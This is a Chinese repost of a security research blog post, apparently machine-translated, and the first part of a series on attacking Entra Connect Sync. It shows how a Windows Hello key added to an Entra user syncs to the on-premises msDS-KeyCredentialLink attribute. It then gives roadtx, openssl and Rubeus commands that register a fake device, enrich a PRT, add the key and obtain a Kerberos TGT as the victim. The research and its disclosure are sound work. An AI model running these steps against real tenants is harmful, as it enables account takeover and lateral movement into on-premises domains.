Entra 租户是信任边界
这意味着,如果您的租户由 100 个域组成,则假设目标域的视线范围内,一个域的泄露可能等于所有其他域的泄露。
Entra Connect 同步简介
Entra Connect Sync 是负责在 Active Directory 和 Entra(通常仍称为 Azure Active Directory)之间传播更改的软件。在大多数情况下,更改会从 Active Directory 传播到 Entra。举个简单的例子,假设在本地 Active Directory 中创建了一个新用户。下次 Entra Connect Sync 运行同步周期时,特殊的 Entra 同步帐户将向 adminwebservice.onmicrosoft.com 发送一条预配消息,以创建代表该用户的新 Entra 用户。此过程已得到很好的介绍,并且存在用于在 AADInternals 中操作此同步机制的工具。这个机制的一个有趣且相当未开发的部分是 Entra Connect 中的“元宇宙”。
Metaverse 是多个数据源的虚拟表示形式。可以将其视为目录的冲突管理器。每个数据源(AD 和 Entra)称为“连接的目录”。连接的目录由连接目录特定的“连接器”通过远程协议(LDAP、https 等)枚举。每个连接的目录都有一个称为“连接器空间”的虚拟表示形式,它表示从连接的目录同步的所有所需数据。一旦连接的目录运行“导入”,所有用户/设备/组/等都存在于连接器空间中。导入后,将执行同步,并将连接器空间对象“投影”到 metaverse 中。
metaverse 对象是来自多个连接目录的所有关联属性的聚合。由于这是一个大量的行话,让我们来看一个示例。在 Active Directory 中,我将创建一个名为 “[email protected]” 的用户。创建用户后,我们在同步服务中运行“增量导入”
如您所见,我们有一个“添加”,用户 Jack Burton 现在存在于连接器空间中,但尚未存在于 Metaverse 中。
为了将 Jack Burton 用户投影到 metaverse 中,我们需要运行同步。在本例中,我将运行增量同步。
单击“投影”链接,我们可以看到新用户已被投影到 Metaverse 中。
还有一个新的导出属性流,它指示此用户将被预置到另一个连接的目录 (Entra)。要触发此预配,我们最后需要在 Entra 连接器空间上运行导出。
Don’t worry about the export errors, I have been doing stuff. At this point, we have an end to end flow of an object being created in AD, projected into the metaverse, and then provisioned in Entra. But from the Entra Connect standpoint, there’s no special differentiator between Entra and Active Directory, they are both simply connector spaces.
那么,属性可以从 Entra 转到 Active Directory 吗?
是的!
属性流由 Entra Connect 规则指定,这些规则具有默认设置,我将在下一篇博客文章中讨论。默认情况下,有一个且只有一个属性从 Entra 用户写入 Active Directory 用户,即 searchableDeviceKey --> msDS-KeyCredentialLink 属性流。如果 msDS-KeyCredentialLink 听起来很熟悉,那是因为它已被广泛称为“影子凭据”的滥用原语。长话短说,如果我们可以将公钥添加到用户的 msDS-KeyCredentialLink 属性中,我们就可以使用私钥获取该用户的 TGT。这意味着,如果我们可以向 Entra 用户添加密钥,我们就可以在本地以他们的身份进行身份验证。当我们更深入地研究 Metaverse 和跨域攻击时,这将在以下博客文章中被证明是一个强大的原语。
滥用 WHFB 密钥获取对本地帐户的访问权限
添加到 Entra 用户的任何密钥材料(Window Hello For Buiness 或 FIDO2)密钥都将同步到本地用户的 msDS-KeyCredentialLink 属性。为了执行此攻击,我们假设完全控制 Entra 用户帐户。这包括纯文本密码和对 MFA 方法的访问。我们稍后会尝试缓解这些假设,但现在我只想证明这个想法。
以下是我们可以运行以下命令来在本地用户上获取 msDS-KeyCredentialLink 集。作为高级概述,我们将注册一个 WHFB 密钥。理论上我们也可以做一个 FIDO2 key,但这更容易演示。目前,此攻击需要知道明文密码并拥有至少一个 MFA 身份验证器。要注册 WHFB 密钥,我们将创建一个假设备,获取 PRT,并使用 ngcmfa 声明来丰富它。Dirjkan 已经在 roadtools 工具包中完成了许多繁重的工作。步骤如下:
获取企业设备注册资源服务器的令牌
roadtx auth -r urn:ms-drs:enterpriseregistration.windows.net - device-code
我们需要一个绑定到设备身份的令牌,这意味着我们需要注册一个新设备并获取一个主刷新令牌
roadtx device -a registerroadtx prt -c .devicel.pem -k .devicel.key -u [email protected] -p its@llInTH3rEFLEXez
为了添加 WHFB 密钥,我们需要一个在过去 10 分钟内具有 MFA 声明的令牌,因此我们需要“丰富”PRT
roadtx prtenrich - prt$PRT - prt-sessionkey$SESSION_KEY - ngcmfa-drs-auth - tokens-stdout -u [email protected]
最后,添加 WHFB 密钥
roadtx winhello –access-token <token from previous step>
此时,我们已向 Entra 用户添加了 WHFB 密钥,现在需要等待最多 30 分钟,以便它同步到本地用户。在本文中,我可以手动触发同步,但请注意,这不是 Entra Connect 同步的正常操作顺序。在此图中,我们可以看到新属性已摄取到 Entra 连接器空间中。
增量同步显示更新的属性已投影到 metaverse 中加入的用户。
最后,导出显示 msDS-KeyCredentialLink 已预配给 Active Directory 用户,如 msDS-KeyCredentialLink 行中所示。
我们已经证明,攻击者可以向 msDS-KeyCredentialLink 属性添加公钥,但现在呢?
我们需要对 key 材料进行一些按摩,以获得 jack.burton 的 TGT。
首先,我们需要使用我们在上面注册的密钥创建一个证书签名请求
openssl req -new -key .winhello.key -out .winhello_cert_req.csr
其次,我们需要签署 CSR
openssl x509 -req -days 365 -in .winhello_cert_req.csr -signkey .winhello.key -out .winhello_cert.pem
最后,将其捆绑到 PCKS12 文件中
openssl pkcs12 -export -out jack_burton.pfx -inkey .winhello.key -in .winhello_cert.pem
现在我们可以将 PFX 文件与 Rubeus 等常用工具一起使用
.Rubeus.exe asktgt /user:jack.burton /certificate:C:keysjack_burton.pfx /password:"pfxPassword" /domain:hybrid.hotnops.com /dc:DC1-HYBRID.hybrid.hotnops.com /getcredentials /show
好了,我们通过在 Entra 端采取的行动为用户获取了 TGT。您可能想知道
“如果我们有用户明文密码,为什么需要甚至想要这样做?”
我有三个答案:
-
如果攻击者能够在禁用密码写回时修改 Entra 中的用户密码,这将使他们能够访问本地帐户。 -
向用户添加密钥的基元不一定需要密码或访问 MFA 身份验证器。我目前正在寻找更好的方法来做到这一点,我怀疑有很多方法可以达到相同的结果。 -
向 Entra 用户添加密钥的原语将作为我们将在本博客系列的下两部分中执行的跨域攻击的基础。在许多情况下,我们控制用户、密码和 MFA 身份验证器。
引用
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://dirkjanm.io/lateral-movement-and-hash-dumping-with-temporary-access-passes-microsoft-entra/
https://aadinternals.com/talks/Attacking%20Azure%20AD%20by%20abusing%20Synchronisation%20API.pdf
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/concept-azure-ad-connect-sync-architecture
原文始发于微信公众号(安全狗的自我修养):攻击 Entra Connect Sync :第 1 部分
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论